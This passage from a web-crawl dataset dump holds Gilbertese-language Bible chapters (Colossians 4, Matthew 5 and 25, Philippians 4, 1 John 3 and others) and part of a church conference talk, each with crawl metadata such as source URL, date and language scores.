akea tokina, ao e mena iroun te Atua ma ngkoa, ao n aki toki, n akea moanakin bongina ke tokin ririkina .\"(Teachings of Presidents of the Church: Joseph Smith [2007], 104).\nE a tia te Atua n anga Mwakana n akea boona nakoia ake a kariaia ao ni karinea Nakoana N ibonga, are kaineti nakon kakabwaian te maiu ae aki mamate ao te maiu are akea tokina.\nI kakoaua bwa Ana mwakuri Iesu Kristo e kakoroaki bukina n te nakoanibonga. Bon te mwaaka are Tamara are i Karawa ao Natina ae Tangiraki a karika iai te aonaaba aio ao a uotarake te banna ni kakukurei ibukira. Ti na wanawana ao ni ukoukora kakorakoran maiura, maiuia ara utu ao Ana Ekaretia Iesu Kristo Ibukiia Aika itiaki Ni boong Aika Kaitira rinanon mwaakan ana nakoanibonga te Atua bon au tataro n Aran Iesu Kristo amen.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.lds.org\/general-conference\/2013\/04\/-this-is-my-work-and-glory-?lang=spa&clang=gil","date":"2013-12-09T20:06:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163997135\/warc\/CC-MAIN-20131204133317-00062-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2346,"character_repetition_ratio":0.067,"word_repetition_ratio":0.022,"special_characters_ratio":0.215,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tooka, kam na karaoa ae e riai ao ae e eti n aromi nakoia ami toro; ngkai kam ataia bwa bon iai ami Toka i karawa. 2Kam na tai toki n taatataro, ao kam na kamarurungingkami iai ni katituaraoi; 3ao kam na tataro naba i bukira, bwa E na karekea nakoira te anga are ti na konaa iai n taekina te rongorongo are taekan te baere e raba are taekani Kristo, are ngaia, are I kabaeaki iai ibukina; 4bwa I aonga ni kaotia n te aro ae riai bwa N na taetae iai. 5Kam na nakonako ma te wanawana i mataia akana a tuai n onimaki, ni kamanenaai raoi ami tai. 6A na tangiraoi ami taeka n taai nako, ma ni kakan-ongoraa; ao kam riai n ataa te kaeka ae e riai nakon temanna ma temanna. 7E na kaongoraaingkami n arou nako Tukiko, ae te tari ae e tangiraki, ae te tia mwakuri ae e kakaonimaki, ae raou naba n toro iroun te Uea. 8Ao I kanakoa nakoimi ibukin aei, bwa kam na atai arora; ao e na kauungai nanomi. 9Raona ni mwananga bon Onetimo, ae te tari ae e kakaonimaki ae e tangiraki, ae bon raomi. A na kaongoraaingkami bwaai ni kabane aika a karaoaki ikai. 10E kamauringkami Arititareko ae raou ni kabaeaki, ma Mareko ae ai tarini Bwarenaba (are kam a tia n anganaki te kaetieti ibukina, bwa ngkana e roko iroumi ao kam na mwaneia n akoia). 11E kamauringkami naba Ietiu, are arana teuana Iouteto. Bon ti ngaiia kaain te koroberoaki aika raou ni mwakuri ibukin uean te Atua. A riki nakoiu bwa kauungaan nanou. 12E kamauringkami Ebwabera, ae raomi, ae ana toro Kristo Iesu, ae e aki toki ni kakorakoraa n taatataro i bukimi bwa kam aonga n ataa raoi te bae E tangiringkami iai te Atua bwa kam na karaoia, ao bwa kam na kabanea ni karaoia. 13Bwa I kakoauaa bwa e bati ana mwakuri i bukimi, ao i bukiia naba ake a mena i Raorikeia ao i Ierabori. 14E kamauringkami Ruka, ae te taokita a ae e tangiraki, ma Tema. 15Kam na anga ara kamauri nakoia taari ake i Raorikeia, ao nakon Nei Numbwa, ma te ekaretia are a bobootaki kaaina i nanon ana auti. 16Ao ngkana e a tia ni warekaki te reta aei i buakomi, ao kam na karekea ae e na manga warekaki naba n te ekaretia i Raorikeia; ao kam na wareka naba te reta are e na reke iroumi mai Raorikeia. 17Ao kam na kaangai nakon Arekibo, Ko na tarataraa am mwakuri are ko anganaki ibukin te Uea, bwa ko na katiaa karaoana. 18I a koroi taeka aikai n oin tabonibaiu: Kam na mauri mai irouni Bwauro. Kam na ururingi kabaeau. E na mena te aakoaki iroumi.\nKOROTE 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Col\/4","date":"2013-12-10T03:27:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164006791\/warc\/CC-MAIN-20131204133326-00098-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":459,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E nooriia aomata aika a rangi ni mwaiti Iesu, ao E ararake n te maunga, ao E tekateka, ao a nakoina ana reirei; 2ao E moanna n reireiia, ni kaangai: 3A a kabwaia akana iai kainnanoan te Atua irouia, bwa aia bwai uean te Atua. 4A a kabwaia akana a nanokaawaki, bwa a na kabeebeteaki nanoia. 5A a kabwaia akana a aki onimakin oini korakoraia, bwa a na bwaina te aonnaba. 6A a kabwaia akana a kan noora nanon te Atua bwa e na karaoaki, bwa a na anganaki nanoia are a tangiria. 7A a kabwaia akana a nanoanga, bwa a na nanoangaaki. 8A a kabwaia akana nanoia ti te kan toro iroun te Atua, bwa a na noora te Atua. 9A a kabwaia taan raoi, bwa a na atongaki bwa natin te Atua. 10A kabwaia akana a bwainikiriinaki ibukini karaoan nanon te Atua, bwa aia bwai uean te Atua. 11Kam a kabwaia ngkana a taetaebuakaingkami aomata, ma ni bwainikiriningkami, ma n atonga te taetae ae e kewe ae e buaakaka bwa taekami ibukin ae au aomata ngkami. 12Bwa a bwainikiriniia buraabeti ake a maiu i mwaaimi n te aro naba aei. Kam na kukurei, ao kimwaareirei, bwa a bati bwaai n tituaraoi ae E katauraoi te Atua i bukimi. 13Ai aron taoron te aonnaba ngkami; ma ngkana e mauna taorona, ao e na taoronaki n tera? Akea te bwai ae e na boongana nako iai, ma ti te teweaki nako, ao ikanne are e a konaa n reke ae e toutouaki iai irouia aomata. 14Ai aron ootan te aonnaba ngkami. E aki konaa n raba te kaawa ae e kateaki i aon te maunga. 15Ao a aki kauraa te taura aomata ni kaaki i aan te bwaketi, ma a kaaki i aoni nnena; ao e nako ootana nakoia aomata ni kabaneia ake n te auti. 16Ao ai aromi naba, kam na kaoti ami oota i mataia aomata, bwa a na noori ami mwakuri aika a raraoi, ao a na neboa Tamami are i karawa iai. 17Tai taku i nanomi bwa I roko bwa N na urui tuua ake e anga Mote, ma aia taeka n reirei buraabeti. I aki roko bwa N na urui, ma I roko bwa N na kakoroi bukiia. 18Bwa e koaua ae I a tuangkami, bwa ngkai e tuai ni mauna karawa ma aonnaba, ao e na bon aki mauna manin taekan te Tua ae te kabanea n uarereke, ke aron taekana ae te kabanea ni kimototo, i mwaain rikini bwaai nako ake a taekinaki n te Tua bwa a na riki. 19Ma ngaia aei, bwa ane e kamamaaraaea mwaakan te Tua teuana ae e maraurau riki i buakon tuua aikai, ao e reireiia aomata bwa e a toki manenana, ao e na atongaki bwa moan te mangori n uean te Atua; ma ane e tou mwiin tuua aikai n reireiia aomata iai, ao e na atongaki bwa e kakannato n uean te Atua. 20Bwa I taku nakoimi bwa ngkami kam aki kakororaoa riki nanon te Atua nakon are a karaoia taani koroboki ma Bwaritaio, ao kam aki konaa n rin n uean te Atua. 21Kam ongo bwa e atongaki nakoia ami bakatibu: Ko na tai kamateia aomata; bwa ane e kamatea te aomata ao e na kateaki n te kaboowi bwa e na baaireaki taekana; 22ao Ngai I taku nakoimi, bwa ane e un nakon tarina, ao e na kateaki n te kaboowi bwa e na baaireaki taekana; ao ane e kaangai nakon tarina, Akea warem; ao e na tei i matan te Tanirim bwa e na baaireaki taekana iai; ao ane e kaangai, Ko mino, ao e na motikaki taekana bwa e na teweaki nako n te ai are i moone. 23Ma ngaia aei, ngkana ko nang anga am karea nakon te Atua n te baonikarea, ao ngkana ko uringa tarim iai bwa e un iroum ibukin te bwai ae ko a tia ni karaoia, 24ao ko na kiitana am karea iai i rarikin te baonikarea ao naako; karekea moa te raoi ma tarim, ao rimwi ko na oki n anga am karea. 25Ko na bareiko n raoiakina te aomata are e na uota taekam nakon te kaboowi n te tai are ko mena iai ma ngaia i aoni kawaimi nakon te kaboowi, bwa e kaawa n anga ngkoe nakon te tia motiki-taeka, ao e kaawa te tia motiki-taeka n anga ngkoe nakon te bureitiman, ao ko kaawa ni kaakiaki i nanon te karabuuti. 26E koaua ae I a tuangko bwa ko na aki konaa n oti nako maiai ni karokoa ko a tia ni kabwakaa ni kabane te mwane are e motikaki bwa tuuaam. 27Kam ongo bwa e atongaki ae e kaangai, Ko na tai wene ni bure 28ao Ngai I taku nakoimi bwa ane e tarataraa te aine n iango i nanona bwa e na wene ni bootaki ma ngaia, ao e a tia ni wene ni bure ma ngaia i nanona. 29Ao ngkana e kairiko matam ane mai ataim nakon te bure, ao ko na autia, ao tewea nako mai iroum; bwa e raoiroi riki ngkana akea bwain rabwatam teuana nakon ae e teweaki nako rabwatam ni kabaneaki nako moone. 30Ao ngkana e kairiko baim ane ataim nakoni karaoan te bure, ao ko na koreia ni kaaki ao tewea nako; bwa e raoiroi riki ngkana akea bwain rabwatam teuana nakon ae e bane n nako rabwatam nako moone. 31E atongaki naba ae e kaangai, Te mwaane ane e kanakoa buuna, ao ke e anganna te beebwa ni buu raure. 32Ma Ngai I taku nakoimi, bwa ane e kaaki buuna, ngkana e tuai ni wene ni bure, ao e a karika neierei bwa te tia wene ni bure ngkana e a manga iein; ao te mwaane are e iein ma neiere kaakiaki, ao e wene ni bure naba. 33Kam ongo naba bwa e atongaki nakoia ami bakatibu, Tai urua am taeka ni bau, ma ko na karaoi bwaai ake ko taetae ni bau iai nakon te Uea bwa ko na karaoi. 34Ma Ngai I taku nakoimi, Tai tuea naba teutana. Tai mwanewea arani karawa ngkana ko tuea, bwa nnen te Atua ae e tautaeka maiai; 35ao tai mwanewea aran aonnaba, bwa nneni katokaani waena; ke aran Ierutarem bwa ana kaawa te Uea are e kakannato. 36Ao tai tuea n atuum, bwa ko aki konaa ni kamainainaa ke ni karorooa te iranatuu teaina. 37Ma are kam na taekinna, e na ti kaangai, Eng, eng ke Tiaki, ma ngkana a raka am taeka i aon aikai ao a nako mai iroun teuare e buaakaka. 38Kam ongo bwa e atongaki ae e kaangai, Te mata boona te mata, ao te wi boona te wi; 39ao Ngai I taku nakoimi, Tai karaoa te bwai ae e buaakaka nakon te aomata are e karaoa ae e bure nakoim bwa booni mwiin are e a tia ni karaoia; ma ane e boaa tabam ane mai ataim, ao raira tabam ane mai maingim bwa e na booia naba; 40ao ngkana iai ane e kani kateiko i matan te tia moti bwa ko aonga n anganna am kabaraaki, ao ko na manga anganna naba niiniiram. 41Ao ane e kairoroko bwa ko na iria teuana te maire, ao ko na airi ma ngaia uoua. 42Ane e butiiko, ao ko na anganna; ao ane e kan tangoa am bwai, ao tai rawa. 43Kam ongo bwa e atongaki ae e kaangai, Ko na tangiriia kaain am bootanaomata, ao ribaa am kairiribai. 44Ma Ngai I taku nakoimi, Kam na tangiriia ami kairiribai, ao tataro i bukiia akana a bwainikiriningkami, 45bwa kam aonga n riki bwa natin Tamami are i karawa iai; bwa E kaoota ana taai i aoia akana a buaakaka ma akana a baabakanikawai. 46Bwa ngkana kam tangiriia akana a tangiringkami, ao tera te bwai n tituaraoi ae kam na karekea iai? Tiaki a karaoa naba aei taan anai taekiti? 47Ao ngkana kam kamauriia ti kaain te Aro, tao a raka riki aromi iai nakoia aomata nako? Tiaki a karaoa naba aei te koraki ake a tuai n onimakina te Atua? 48Ma ngaia ae kam na moanibaan te raoiroi, n ai aron Tamami are i karawa ngkai moanibaan te raoiroi.\nMATAIO 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/5","date":"2013-12-13T21:47:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164999586\/warc\/CC-MAIN-20131204134959-00061-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1360,"character_repetition_ratio":0.062,"word_repetition_ratio":0.012,"special_characters_ratio":0.239,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MAREKO 13:77Ao ngkana kam ongo rongorongoni bo ni buaka aika a kaan ma aika a raroa nako, ao kam na aki maaku. Ane a na roko baikanne, ma e tuai n roko te toki. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/13\/7","date":"2013-12-07T00:41:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052909\/warc\/CC-MAIN-20131204131732-00093-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999299049,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9999299049377441}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, tariu aika kam tangiraki, aika kam kan nooraki irou, ae kakimwaareireiau, ao au baunuea, kam na teimatoa i nanon te Uea, ngkami aika kam tangiraki. 2I butiia Nei Euoria ma Nei Tuntuke, bwa a na bwaina te nano ae ti te arona ngkai a reitaki ma te Uea. 3Eng, ao I butiiko naba, ngkoe ae raou ni mwakuri ni koaua, bwa ko na buokiia naakanne, bwa a a tia ni kakorakoraia ni mwakuri ma ngai ibukin te euangkerio; ao raoia naba Kirementito ma raou ni mwakuri ake tabemwaang, ake a mena araia n te boki ni Maiu 4Kam na kimwaareirei ngkai kam reitaki ma te Uea n taai nako; ao N na manga atonga riki ae e kaangai, Kam na kimwaareirei. 5Ke e ataaki aromi n taotaonaki n nano irouia aomata ni kabaneia. E a kaan roko te Uea. 6Kam na tai iangoa te bwai teuana n raraomaeakinna; ma a na kaotaki ami buubuti nakon te Atua ni bwaai ni kabane, n te tataro ni buubuti ae e raonaki ma te katituaraoi. 7Ao te rau are mai iroun te Atua, are te rau are e aki konaaki n ataaki teutana, e na kaawakin nanomi ma aia iango nanomi ngkai kam reitaki ma Kristo Iesu. 8Te kabane ngkanne: taari, kam na ti iaiangoi baika a koaua, aika a eti ma n itiaki, aika a tangiraki ngkai a raraoi, aika baika a riai ni kamoamoaaki, ngkana iai te raoiroi teutana iai, ao ngkana iai te bwai ae e kamoamoaaki te aba iai. 9Kam na karaoi baike kam reireiaki iai irou, ake kam anganaki, ao ake kam ongo ma n noori irou; ao E na mena iroumi te Atua are e reke te rau mai irouna. 10E bati kimwaareireiu ngkai I reitaki ma te Uea bwa i mwiin te tai ae e maan, ao e a manga maiu ami iango i bukiu; are bon iai ngkoa i nanomi, ma e aki reke taina n oti. 11I aki taekina aei ibukini kain nanou: bwa I a tia n rabakau arou ni katau bwaai ni kabane aika a riki nako iu. 12I ataa aron te maiu ni kainnano ao te maiu ni kaubwai; I a tia n reireiaki arou nakoni bwaai ni kabane ma aaro nako. I ataa arou nakoni bwaai ni kabane ma aaro nako. I ataa aron te nuai ma te baki, ma te aro ni kaubwai ma te aro ni kainnano. 13I konai bwaai ni kabane ni kaaitarai iroun Teuare e kakorakoraai. 14E boni ngae n anne, ma kam a tia ni karaoa ae e raoiroi, ngke kam buokanibwai ma ngai n rawaawatau. 15Ngkami aika I-Biribi, kam bon ataia naba bwa ngke I kiitana Mwaketonia n taai ake e moa n tataekinaki iai te euangkerio i buakomi ao akea te ekaretia teuana ae e buokanibwai ma ngai n te anga ke n te anganaki, bwa ti ngkami; 16bwa ngke I mena i Tetaronike, ao kam kanako baika a tangiraki irou ngke e kai nanou, tiaki ti te taina ma uatai. 17Tiaki nanona bwa I kani karekea te bwai n tituaraoi, ma I tangira aromi n angabwai. 18Ma a reke bwaai ni kabane irou, ao a kabatiaaki riki au bwai. A bane n reke irou baika I kainnanoi ngkai a reke irou bwaai aika e uoti Ebwaberorito mai iroumi. A riki bwa kaanga ai aron te boi ae e boiarara ae te karea ae e tangiraki, ae E kukurei te Atua iai. 19Ao Atuau, E na anganingkami bwaai ni kabane aika a kai nanomi iai mani kaubwaina ae e bati irouni Kristo Iesu. 20Ana bwai te Atua ae Tamara te neboaki n aki toki. Amene. 21Kam na anga ara kamauri nakoia ake a itiaki ni kabaneia ake ana aomata Kristo Iesu. A kamauringkami taari aika a mena irou. 22A bane ni kamauringkami ake a itiaki, ma ai moara riki te koraki ake kaaini mwengani kautuun te tautaeka i Rom. 23E na mena ana aakoi te Uea are Iesu Kristo irouia taamneimi.\nBIRIBI 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/4","date":"2013-12-05T13:26:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163045148\/warc\/CC-MAIN-20131204131725-00071-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":662,"character_repetition_ratio":0.058,"word_repetition_ratio":0.003,"special_characters_ratio":0.234,"stopwords_ratio":0.432,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te tai arei, ao uean te Atua ai aroia tengaun ateiaine, ake a anai aia taura ao a oti nako ni butimwaaea teuare e te tia iein. 2A nanobaba niman, ao a wanawana niman. 3Bwa ngke a uoti aia taura naake a nanobaba, ao a aki ua bwa; 4ma naake a wanawana iai aia bwa ake a uoti i nanoni nneia. 5E iremwe n roko te tia iein, ma ngaia are e a roko irouia te kani matuu, ao a matuu. 6Ma ngke e a nuukanibong, ao iai te bwanaa n takaarua ae e kaangai, Noria, te tia iein! kam na oti nako ni butimwaaia. 7A bane n tei rake ngkanne ateiaine akekei, ao a kauraamwaakai aia taura. 8Ao a taku naake a nanobaba nakoia naake a wanawana, Kamai teutana n ami bwa, bwa a kaani mate ara taura. 9Ao a kaekaia naake a wanawana ni kaangai, Tao e na aki tau nakoimi ao nakoira; ma kam na nako nakoia taani kaboo bwa ni kabooami bwa i bukimi. 10Ao ngke a nako ni kabooa te bwa, ao e roko te tia iein, ao naake a tauraoi a rini ma ngaia nakon te amwarake ni baka ibukin te mare, ao e kainaki te mataroa. 11Ao rimwi a roko ateiaine ake raoia, ao a taku, Teuae karineaki, teuae karineaki, ko na kaukia nakoira. 12Ma e kaekaia ni kaangai, E koaua ae I a tuangkami bwa I aki kinaingkami. 13Ma ngaia ae kam na tantani, bwa kam aki ataa te bong ke te aoa arei. 14N te tai arei ao uean te Atua ai aron te aomata temanna ae kan nako n te aba teuana; e weteiia ana toro ao e anganiia taekan ana bwai nako bwa a na tararuai. 15E angan temanna nimaua te taarena, ao temanna uoua, ao temanna teuana; e anganiia nako n ai aron aia konabwai. 16Teuare e angan aki nimaua te taarena e aki tabwara ma e a nako naba ni kamwakuria, ao e karekea rakana ae nimaua riki te taarena. 17Ao ai aron naba teuare e anganaki uoua te taarena, bwa e karakaa riki uoua te taarena. 18Ma teuare e anganaki teuana te taarena, e nako ni kena aontano ao e karabaa iai ana mwane ana toka. 19Ao i mwiini boong aika a bati, ao e roko aia toka tooro akekei; ao e kaeti mwiin ana bwai nako ma ngaiia. 20Ao e roko teuare e anganaki nimaua te taarena, ao e uoti riki nimaua te taarena, ao e taku, Te toka, ko anganai nimaua te taarena; nooria, aikai nimaua riki te taarena aika I a tia ni karekei. 21E taku ana toka nakoina, Ko a tia ni mwakuri raoi, te toro ngkoe ae ko raoiroi ae ko kakaonimaki: ko a tia ni kakaonimaki nakon te bwai ae e uarereke, N na karaoiko bwa ko na mataniwi i aoni baika a bati; ko na rin i nanoni kimwaareirein am toka. 22Ao e roko teuare e anganaki uoua te taarena, ao e taku, Te toka, ko anganai uoua te taarena; nooria, aikai uoua riki te taarena aika I a tia ni karekei. 23E taku ana toka nakoina, Ko a tia ni mwakuri raoi, te toro ngkoe ae ko raoiroi ae ko kakaonimaki: ko a tia ni kakaonimaki nakon te bwai ae e uarereke, N na karaoiko bwa ko na mataniwi i aoni baika a bati; ko na rin i nanoni kimwaareirein am toka. 24Ao e roko teuare e anganaki teuana te taarena, ao e taku, Te toka, I ataiko bwa te aomata ngkoe ae ko matoatoa: ko bobooti uaa n taabo ake ko aki unuuniki iai, ao ko ikoikoti ike ko aki kamrarai iai koraa; 25ma ngaia are I maaku, ao I nako ni karabaa am taarena i aantano. Noria, ao aei am bwai. 26Ma e kaeka ana toka ao e taku nakoina, Te toro ae ko buaakaka, ae ko taningaroti! Ko ataai bwa I bobooti uaa n taabo ake I aki unuuniki iai, ao I ikoikoti ike I aki kamrarai iai koraa. 27Ko riai ngkanne ni karina au mwane n te bangke, ao n rokou ao I a anaia ma rakana. 28Ma ngaia ae kam na anaa te taarena mai irouna, ao angan teuare iai irouna tebwina te taarena. 29Bwa ane iai ana bwai ao e na anganaki riki, ao ane a na rangi ni mwaiti iai ana bwai. 30Ao kam na tewea nako te toro ae akea manenana aei nako nanon te roo are i moone, are te tabo ike a na tanginiwenei iai aomata ao a na tenai riaia bwa kaotan ae a rootaki n te maraki ae e korakora. 31Ngkana E roko Natin te Aomata ma mimitongina, ma anera ni kabaneia i rarikina, ao ane E na tekateka i aon ana kaintokanuea ae e mimitong. 32Ane a na bane ni bootaki bootanaomata ni kabaneia i matana, ao E na kaokoroia tekorakina mai irouia tekorakina, n ai aron te tia kaawakin-tiibu ngkana e kaokoroia tiibu ma kooti: 33ao E na kaakiia tiibu i angaataina, ao kooti i angamaingina. 34Ao ane E na kaangai te Uea nakoia ake i angaataina, Nako mai ngkami akana kam kakabwaiaaki iroun Tamau; kam na bwaina uean te Atua are a tia ni katauraoaki i bukimi mani moani karikan aonnaba: 35bwa I baki ao kam anganai kanau; I taka ni kani mooi, ao kam anganai te mooi; te iruwa Ngai, ao kam aakoai; 36akea kunnikaiu, ao kam karekea kunnikaiu; I aoraki, ao kam kawarai; I mena i nanon te karabuuti, ao kam kawarai. 37Ao ane a na kaeka ngkanne ake a raoiroi ni kaangai: Te Uea, ti nooriko n ningai ngke Ko baki ao ti kaamwarakeko, ao ngke Ko kani mooi ao ti anganiko nimam? 38Ao n ningai are ti nooriko iai bwa te iruwa ao ti akoiko, ke ngke akea kunnikaim ao ti karekea kunnikaim? 39Ao n ningai are ti nooriko iai bwa Ko aoraki, ke ngke Ko mena n te karabuuti, ao ti kawariko? 40Ao E na kaekaia te Uea ni kaangai: E koaua ae I a tuangkami, bwa are kam karaoia nakon temanna ae e mangori riki i buakoia tariu aikai, ao kam karaoia naba nakoiu. 41Ao ane E na kaangai nakoia ake i angamaingina, Naako mai irou, ngkami akana a nangi reke kaimi, nakon te ai are e aki maamate are e katauraoaki ibukin te riaaboro ma ana anera: 42bwa I baki, ao akea te amwarake ae kam anganai; I taka ni kani mooi, ao akea te mooi ae kam anganai; 43te iruwa Ngai, ao kam aki aakoai; akea kunnikaiu, ao kam aki karekea kunnikaiu; I aoraki ao I mena i nanon te karabuuti, ao kam aki kawarai. 44Ao ane a na kaeka naba ni kaangai: Te Uea, ti nooriko n ningai ngke Ko baki, ke ngke Ko taka ni kani mooi, ke ngke te iruwa Ngkoe, ke ngke akea kunnikaim, ke ngke Ko aoraki, ke ngke Ko mena i nanon te karabuuti, ao ti aki tabeakiniko? 45Ao Ngaia E na kaangai nako ia: E koaua ae I a tuangkami, bwa ngke kam aki karaoi baikai nakon temanna ae e mangori riki i buakoia aikai, ao kam aki karaoi naba nakoiu. 46Ao ane a na bane n nako nakon reken te kai are e aki toki; ma ake a raoiroi a na nako nakon te maiu are e aki toki.\nMATAIO 25","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/25","date":"2013-12-13T15:29:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164954485\/warc\/CC-MAIN-20131204134914-00003-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1214,"character_repetition_ratio":0.061,"word_repetition_ratio":0.098,"special_characters_ratio":0.243,"stopwords_ratio":0.432,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nora aroni mwaitin te tangira are E tangiriira iai te Atua, bwa ti aonga n atongaki bwa natin te Atua: ao bon natina ngaira. Ma ngaia ae a aki ataira kaain aon te aba, ibukina bwa a aki ataa te Atua. 2Ngkami aika kam tangiraki, bon natin te Atua ngaira ngkai; ao e tuai ni kaotaki bwa teraana arorarimwi. Ti ataia, bwa ngkana E a manga oki Kristo, ao ti na katootoonga arona, ibukina bwa ti na noora arona ni koaua. 3Ao aomata nako aika iai irouia te kaantaninga aei, ae kaantaningaan Teuarei, a kaawakiniia bwa a na itiaki ni maiuia, n ai aroni Kristo ngkae E itiaki ni maiuna. 4Ane e karaoa ae e bure ao e eekaanako te tua; ao te bure bon te eekaanako te tua. 5Ao kam bon ataia bwa E karokoaki Teuarei bwa E na uoti nako buure; ao bon akea te bure i nanona. 6Ane e nim ma Ngaia ao e aki bure; ane e bure ao e tuai n oota raoi n aroni Kristo, ke e tuai n ataia. 7Ataei aika a uarereke, e na tai mwaamwanaaingkami temanna: bwa ane e bwaabwaina te atataiaomata, ao e bon atataiaomata; 8Ane e karaoa ae e bure ao boni mai iroun te riaaboro, bwa e a kamani buubure te riaaboro ma ngke a moa n riki bwaai. E karokoaki Natin te Atua ibukin aei, bwa E aonga n uru ana mwakuri nako te riaaboro. 9Ane e bungiaki mai iroun te Atua ao e aki karaoa ae bure, bwa e meemena anuan te Atua i nanona; ao e aki konaa ni bure, bwa e bungiaki mai iroun te Atua. 10A kaotaki natin nako te Atua ma natin nako te riaaboro n aei: ane e aki karaoa nanon te Atua ao tiaki mai iroun te Atua, ao ai uana naba ma ane e aki tangira tarina. 11Bwa aio te taeka are kam ongo ma ngke kam moa n riki bwa Kristian, bwa ti na i tangitangiri; 12ao ti na aki katootoonga aroni Kain are mai iroun teuare e buaakaka, ngke e kamatea tarina. Ao e aera ngke e kamatea? Bwa kioina ngke a bubuaka ana mwakuri, ao a raraoi ana mwakuri tarina. 13Taari, kam na tai miimii ngkana a ribaingkami kaain aon te aba ae e buubure. 14Ti ataira bwa ti a tia ni buutaki nako man te mate nako nanon te maiu, ngkai ti tangiriia taari. Ane e akea te tangira irouna, ao e maeka n te mate. 15Ane e ribaa tarina ao ai aron te tia tiri-aomata; ao kam ataia bwa bon akea te tia tiri-aomata ae e reke irouna te maiu are e aki toki. 16Ti ataa te tangira n aei, ngke E anga maiuna i bukira; ma ngaia ae e riai bwa ti na anga maiura i bukiia taari. 17Ma ane iai ana bwai aika bwain te maiu aei, ao ngkana e noora tarina bwa iai kain nanona, ma e aki nanoangaia, ao e na kangaa n taku bwa e mena i nanona tangiran te Atua? 18Au ataei aika a uarereke, ti na tai i tangitangiri n ti te taeka ao n te newe, ma a na nooraki arora n i tangitangiri n te mwakuri ao n te koaua. 19Ane ti na konaa n ataira iai bwa ana bwai te koaua ngaira, ao bwa a na reke raun nanora ngkana ti tei i matana; 20bwa ngkana a kabuaakakaira nanora, ao E matairiki riki te Atua nakon nanora, ao E atai bwaai ni kabane. 21Ngkami aika kam tangiraki, ngkana a aki kabuaakakaira nanora, ao ti aki maaku i matan te Atua; 22ao ane ti buubuti ao ti anganaki irouna, bwa kioina ngkai ti tauu ana tua, ao ti karaoi baika a kakukurei i matana. 23Ao aio ana tua, bwa ti na onimakina aran Natina are Iesu Kristo, ao ti na i tangitangiri, n ai aron taekan te tua are E anganiira te Atua. 24Ao ane e tauu ana tua ao e nim ma te Atua, ao te Atua E nim ma ngaia. Ao ti ataia bwa E nim ma ngaira n aei, ibukin te Taamnei are E anganiira.\n1 IOANE 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1John\/3","date":"2013-12-06T16:18:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052107\/warc\/CC-MAIN-20131204131732-00089-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":684,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.475,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ti a manga moanna naba n tabeki taekani kamoamoaara? Ke ti kainnanoi, n ai aroia temwaangina, reeta nakoimi ke mai iroumi, aika a na kaoti arora? 2Bon ara reta ngkami ae e koreaki i nanora, ae e ataaki ma ni warekaki irouia aomata ni kabaneia; 3ao e teretere bwa bon ana reta Kristo ngkami, ae ti uotia, ae e koreaki tiaki n te ingke, ma n Taamnein te Atua ae e maiu; ae e koreaki tiaki i aoni baaba aika atiibu, ma i aoni baaba 